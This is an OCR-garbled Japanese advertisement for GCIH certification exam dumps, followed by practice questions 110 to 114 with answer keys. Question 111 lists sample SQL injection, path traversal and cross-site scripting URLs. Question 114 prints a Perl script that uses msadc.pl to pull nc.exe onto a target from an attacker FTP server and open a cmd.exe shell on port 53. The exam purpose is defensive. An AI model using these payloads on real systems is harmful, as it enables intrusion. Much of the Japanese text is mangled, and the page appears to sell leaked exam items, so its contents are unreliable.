GCIHER 5 O ¥ 1 | 8 F) 22 GCIHH A GBS 5K A A
FiEE | 5B 7t GIAC Certified Incident HandlerX ©7 >
g— K

: @ CBTPROXY

GIAC Certified Incident
Handler Certification:
Explained

Learn More

15|£[ |
== = 0= (L / o

I e
chtproxy.com | info@obtproxy.com | +1 {415) 830-6004 Pl

P.S. Japancert43Google Drive T34 L T > 2 R 2D # L WGCIHK > 7°: hitps/drive.google.com/open?
id=1cQqOLARUCLPrjUgte2ylTknNtsS 1 Jgf

FrYRAGECRENTCEDN > FBCBLEST. Lol. RICEBTI2RIOBENKI-E &, ZhEDOHh
CIERTEELIoh. GIACOGCIHR ERB 2 2B+ 2 - B2 L T 3 H & fzid Japancert& W 9 RI)
TE3F v A& &L b, Japancert D GCIHREE W & 2 e N ABIC A T 2 RETYT. COMESE
G REZRHM2@NSE. IRPNCHRBCBEHESE 28 TE LT, Japancert DR E B #FAT L. b4
FECOBRORREEBS LS5 >&EVRL 22 ERNTEET. CORMBEEIBEO L DL I-DEIIN
DFEET. 4N THHCGCIHRB s S ¢ £ 7,

GIAC GCIH (GIAC Certified Incident Handler) :RERBR G . FHHNE &G D F v Y 7 2BR T 2 @A A O HEFY
RKRBET I FLTT. CORBET 0/ 753, HBATEF 2974437 Y b2BRBIUNET2E
E8H2EANOHFHEEAFLVETANT B LIRS TV E T,

GIAC GCHH (GIACRREA ¥ ¥ 7T ¥ by F7—) RBERBRE . MARA > 7> MUBOEMMHZ XL .
PAN—F 2V T4 TCFY YT 2RETIENLHETT. @ b —=v 7 L BEFC LY., FRE TR
Buatkl.,. HAFOEEA VYT Y MY RFF—DF v 2B MTE 7.

GIAC GCIHEER L . ATt 2V 744> ¥ 7 v FaBH., . BLUPLET 282>+
7"'47°u71“/~‘/37‘)l/’§:5'<ff%{<‘: LTWET . AT Y MNAYRRYY I 7oA, 2y b —2 7o ba
Wy WU 7o BEUT7rL YOy A EN BEVWIEY 278 A/8—LTWwEY. RBE. RiEE
BEE2YTAAYYT Y M ERL LY —HOMBRICHEE. . 8T 30N 7 ANT 2L
S-SR &

>>GCIHH A ERRTSEH 1 F <<

FERHERZ GCIHH REBOTEH A FENL X AL — FDGCIHK 7 >~
g—FK

GIACOGCIHRRERBC AT 2o X K SAHERD > T, FHXLLZVWORHE B8E&#FLOEER
T Japancertt3 xS D ISR 22 L £ .

GIAC Certified Incident Handler 52 58 GCIH & B & (Q110-Q115):

ZR #110

You work as a Network Admmnistrator for Net Perfect Inc. The company has a Windows-based

network. The company uses Check Point SmartDefense to provide security to the network of the company. You use
SmartDefense on the HTTP servers of the company to fix the limitation for the maximum number of response headers
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allowed. Which of the following attacks will be blocked by defining this limitation?
Each correct answer represents a complete solution. Choose all that apply.

A. Land attack

B. User-defined worm
C. Code red worm

D. Backdoor attack

Eﬁ: B\ C

R #111
Which of'the following HTTP requests is the SQL injection attack?

e A http//www.myserver.conysearch.asp?iname=adan627%3bupdate?o20usertable%620set%o
20pass wd%3d %627hCx0r%27%3b--%00

¢ B. http//www.xsecurity.conycgin/bad.cgi?foo=..%fc%80%80%680%80%af../bin/ls%620-al

¢ C. http//www.victim. comexample?accountnumber=6789 1 &creditamount=999999999

¢ D. http//www.myserver.conyscript.php?mydata=%3cscript%e20src=%622http%3a%2{%
2fwww.yourser ver.cOm %o2fbadscript.js%622%3e%03c%e2f5criptya3e

Ef: A

HM #112

The Klez wormis a mass-mailing worm that exploits a vulnerability to open an executable attachment even in Microsoft Outlook's
preview pane. The Klez worm gathers email addresses from the entries of the default Windows Address Book (WAB). Which of
the following registry values can be used to identify this worm?

e A HKEY LOCAL MACHINESoftware\Microsoft\Windows\CurrentVersion\Run

e B.HKEY CURRENT USER\Software\Microsoft\ WAB\WAB4\Wab File Name = "file and pathname of the WAB file"
e C.HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run

e D.HKEY LOCAL MACHINESoftware\Microsoft\Windows\CurrentVersion\RunServices

IEf#: B

i
Section: Volume A

gl #113

Victor works as a professional Ethical Hacker for SecureNet Inc. He wants to use Steganographic file system method to encrypt
and hide some secret information. Which of the following disk spaces will he use to store this secret information?

Each correct answer represents a complete solution. Choose all that apply.

A. Hidden partition
B. Unused Sectors
C. Slack space
D. Dumb space

EME: A. B. C

HA #114
Adam, a malicious hacker performs an exploit, which is given below:

$port = 53;

# Spawn cmd.exe on port X

$your ="192.168.1.1"# Your FTP Server 89
Suser = "Anonymous'# login as



$pass = 'noone@nowhere.com';# password

$host = SARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("per] msadc.pl -h $host - C \"echo open $your
>sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\"); system("perl msade.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("" perl msadc.pl -h $host -C
\"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. htmb>>sasfile\""); system("per] msadc.pl -h
$host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n'y

system("per] nsade.pl -h $host -C \"fip \-s\:sasfile\""); print "Press ENTER when download is finished

(Have a fip server)\n';

$o=; print "Opening ...\n"

system("per] msadc.pl -h $host -C \"nc -1-p $port -e cmd.exe\™); print "Done.\n'"; #system("telnet
$host $port™); exit(0);

Which of'the following is the expected result of the above exploit?

A. Creates a share called "sasfile" on the target system

B. Creates an FTP server with write permissions enabled

C. Opens up a SMTP server that requires no username or password
D. Opens up a telnet listener that requires no username or password

Ef#: D
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